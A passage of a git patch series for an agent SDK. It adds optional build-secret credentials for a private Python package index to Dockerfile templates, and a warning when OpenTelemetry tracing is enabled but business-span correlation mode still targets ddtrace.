WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile-uv.j2 index f8746c573..207b1c3ca 100644 --- a/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile-uv.j2 @@ -42,7 +42,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -50,6 +72,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile.j2 b/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile.j2 index 225863607..4a5e4d83a 100644 --- a/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile.j2 @@ -41,8 +41,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/temporal-codex/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-codex/Dockerfile-uv.j2 index 7e31387fa..cafbf5865 100644 --- a/src/agentex/lib/cli/templates/temporal-codex/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-codex/Dockerfile-uv.j2 @@ -42,7 +42,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -50,6 +72,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/temporal-codex/Dockerfile.j2 b/src/agentex/lib/cli/templates/temporal-codex/Dockerfile.j2 index 0ae4e2079..c823c7937 100644 --- a/src/agentex/lib/cli/templates/temporal-codex/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/temporal-codex/Dockerfile.j2 @@ -41,8 +41,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile-uv.j2 index 6746869df..59e11795b 100644 --- a/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile-uv.j2 @@ -36,7 +36,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -44,6 +66,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile.j2 b/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile.j2 index ba47485a9..cf8f4638c 100644 --- a/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile.j2 @@ -35,8 +35,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile-uv.j2 index 0d9801016..bf0e1e3d5 100644 --- a/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile-uv.j2 @@ -36,7 +36,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -44,6 +66,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile.j2 b/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile.j2 index 4c1798c42..020a87fe2 100644 --- a/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile.j2 @@ -35,8 +35,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile-uv.j2 index 0d9801016..bf0e1e3d5 100644 --- a/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile-uv.j2 @@ -36,7 +36,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -44,6 +66,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile.j2 b/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile.j2 index 4c1798c42..020a87fe2 100644 --- a/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile.j2 @@ -35,8 +35,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/temporal/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal/Dockerfile-uv.j2 index 0d9801016..bf0e1e3d5 100644 --- a/src/agentex/lib/cli/templates/temporal/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal/Dockerfile-uv.j2 @@ -36,7 +36,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -44,6 +66,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/temporal/Dockerfile.j2 b/src/agentex/lib/cli/templates/temporal/Dockerfile.j2 index 4c1798c42..020a87fe2 100644 --- a/src/agentex/lib/cli/templates/temporal/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/temporal/Dockerfile.j2 @@ -35,8 +35,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project From 60daf5458683942d4f6f1afd3c4b7ae6136387dc Mon Sep 17 00:00:00 2001 From: Sirui Wang Date: Fri, 11 Sep 2026 15:06:15 -0700 Subject: [PATCH 07/15] feat(obs): warn when OTel traces are on but correlation still targets ddtrace MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Answers Nitesh's question on AGX1-1113 — can we validate the forward and backward edge — and closes the gap it exposed. The SDK has had its own business-span correlation for a while, in core/tracing/obs_span.py, and it already writes BOTH directions: forward obs_trace_id / obs_span_id onto the business span's data, so the SGP tracing UI can pivot to Tempo backward agentex.business_span_id / agentex.business_trace_id onto the OTel span, so Tempo can pivot back Which backend it opens that span in is chosen by SGP_OBS_MODE, which defaults to `dd_only`. There it opens a ddtrace span, and only when a ddtrace trace is already active — which on a bare-uvicorn agent it never is. The wrapper is never opened, the correlation dict comes back empty, and both edges vanish. Nothing says so: the traces signal still reports itself wired. Measured end to end, real SDK business span + real sgp-obs 0.16.0 against a local OTLP receiver: SGP_OBS_MODE unset (today's default) forward : MISSING backward : MISSING exported spans: none SGP_OBS_MODE=lgtm forward : {'obs_trace_id': '1f1c39cfd07bb240a2e290987f22fcb0', 'obs_span_id': 'a67ae4f75b69dc4b'} backward : span 'analyst.model_call', scope 'agentex.business', agentex.business_span_id=bd3babc4-..., business_trace_id=fdfd2ded-... round trip closes: forward.obs_span_id == the exported span's span id, and backward.business_span_id == the business span's own id So the edges do work, and they are verifiable without a cluster. The pilot agent does not set SGP_OBS_MODE, so both of its edges are dead today — which is why nothing showed up to validate. Warn rather than set it. SGP_OBS_MODE also steers correlation reads elsewhere, and an agent genuinely running ddtrace (the Centipede family) would be misread if this flipped underneath it. The operator picks; this only makes the silent case audible. Scoped to `traces in handles` — a metrics-only agent has no linking to lose, so the warning would be noise there. Note for whoever compares against Nitesh's Tempo screenshot: his analyst-agent span carries scope `sgp_obs.business`, not `agentex.business`. That agent calls sgp-obs' own business_trace directly rather than going through the SDK. Both stamp the same attribute names, so they look identical in Tempo but come from different code. Co-Authored-By: Claude Opus 5 --- .../lib/core/observability/sgp_obs_setup.py | 48 +++++++++++++++++++ .../observability/tests/test_sgp_obs_setup.py | 42 ++++++++++++++++ 2 files changed, 90 insertions(+) diff --git a/src/agentex/lib/core/observability/sgp_obs_setup.py b/src/agentex/lib/core/observability/sgp_obs_setup.py index 7cf1da40c..c75167ec6 100644 --- a/src/agentex/lib/core/observability/sgp_obs_setup.py +++ b/src/agentex/lib/core/observability/sgp_obs_setup.py @@ -140,11 +140,59 @@ def init_sgp_obs(app: Any = None) -> str: _status = "disabled" return _status + if "traces" in handles: + _warn_if_correlation_backend_mismatched() + _status = "wired:" + ",".join(sorted(handles)) logger.info("sgp-obs wired (%s)", _status) return _status +def _warn_if_correlation_backend_mismatched() -> None: + """Warn when sgp-obs is exporting OTel traces but the SDK's business-span + correlation is still reading ddtrace. + + The SDK has had its own correlation for a while (core/tracing/obs_span.py). It + writes BOTH directions of the link between a business span and an obs span: + + forward — obs_trace_id / obs_span_id onto the business span's data, so the + SGP tracing UI can pivot to Tempo + backward — agentex.business_span_id / agentex.business_trace_id onto the OTel + span, so Tempo can pivot back + + Which backend it opens that span in is chosen by SGP_OBS_MODE, which defaults to + ``dd_only``. In that mode it opens a ddtrace span, and only if a ddtrace trace is + already active — which on a bare-uvicorn agent it never is. So the wrapper is + never opened, the correlation dict comes back empty, and BOTH edges vanish + silently while the traces signal still reports itself as wired. + + Measured on sgp-obs 0.16.0 with a real business span: mode unset gives zero + exported spans and no ids in either direction; SGP_OBS_MODE=lgtm gives the + span, both tags, and a round trip that closes (the business span's obs_span_id + equals the exported span's span id, and the span's agentex.business_span_id + equals the business span's id). + + Warn rather than set it: SGP_OBS_MODE also steers correlation reads elsewhere, + and an agent genuinely running ddtrace (the Centipede family) would be misread + if this flipped underneath it. The operator picks; this only makes the silent + case audible. + """ + try: + from agentex.lib.core.tracing.obs_ids import LGTM, get_obs_mode + + if get_obs_mode() != LGTM: + logger.warning( + "sgp-obs wired the traces signal (OpenTelemetry), but SGP_OBS_MODE is " + "%r, so this SDK's business-span correlation still targets ddtrace and " + "will not link anything. Set SGP_OBS_MODE=lgtm to get both edges: " + "obs_trace_id/obs_span_id on the business span, and " + "agentex.business_span_id/agentex.business_trace_id on the OTel span.", + get_obs_mode(), + ) + except Exception: # pragma: no cover - a diagnostic must never break startup + logger.debug("could not check SGP_OBS_MODE", exc_info=True) + + async def shutdown_sgp_obs() -> None: """Flush the providers ``init()`` built. Never raises. diff --git a/src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py b/src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py index 929ba1bf6..61ea30647 100644 --- a/src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py +++ b/src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py @@ -13,6 +13,7 @@ import sys import builtins +from contextlib import contextmanager import pytest @@ -40,6 +41,17 @@ def _reset(monkeypatch): sgp_obs_setup._reset_for_tests() +@contextmanager +def caplog_at(monkeypatch): + """Collect sgp_obs_setup's WARNING messages regardless of root config.""" + records: list[str] = [] + monkeypatch.setattr( + sgp_obs_setup.logger, "warning", + lambda msg, *a, **_k: records.append(msg % a if a else msg), + ) + yield records + + def _fake_sgp_obs(monkeypatch, init=None, shutdown=None): """Install a stand-in ``sgp_obs`` module whose entry points we control.""" module = type(sys)("sgp_obs") @@ -133,6 +145,36 @@ def test_master_switch_truthy_forms(self, monkeypatch, caplog, raw): init_sgp_obs() assert len(caplog.records) == 1 + def test_traces_without_lgtm_mode_warns_that_correlation_is_dead( + self, monkeypatch + ): + """SGP_OBS_MODE defaults to dd_only, where the SDK's business-span wrapper + only opens if a ddtrace trace is already active — 